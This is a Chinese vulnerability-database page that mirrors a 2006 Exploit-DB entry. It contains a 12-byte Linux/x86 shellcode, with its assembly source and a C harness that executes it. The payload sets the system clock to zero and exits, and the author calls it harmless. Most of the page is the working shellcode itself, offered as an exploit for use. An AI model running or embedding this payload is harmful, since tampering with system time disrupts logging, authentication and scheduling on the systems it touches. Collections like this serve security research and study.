Linux/x86 - Set System Time to 0 + exit() Shellcode (12 bytes)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1056074 漏洞类型
发布时间 2006-11-17 更新时间 2006-11-17
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Linux_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/13348
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/* By Kris Katterjohn 11/18/2006
 *
 * 12 byte shellcode to set system time to 0 and exit. No real damage :)
 *
 * exit() code is the last 5 bytes (0x6a - 0x80)
 *
 * for Linux/x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; stime([0])
 *
 *      push byte 25
 *      pop eax
 *      cdq
 *      push edx
 *      mov ebx, esp
 *      int 0x80
 *
 * ; exit()
 *
 *      inc eax
 *      int 0x80
 */

main()
{
       char shellcode[] = "\x6a\x19\x58\x99\x52\x89\xe3\xcd\x80\x40\xcd\x80";

       (*(void (*)()) shellcode)();
}

// milw0rm.com [2006-11-17]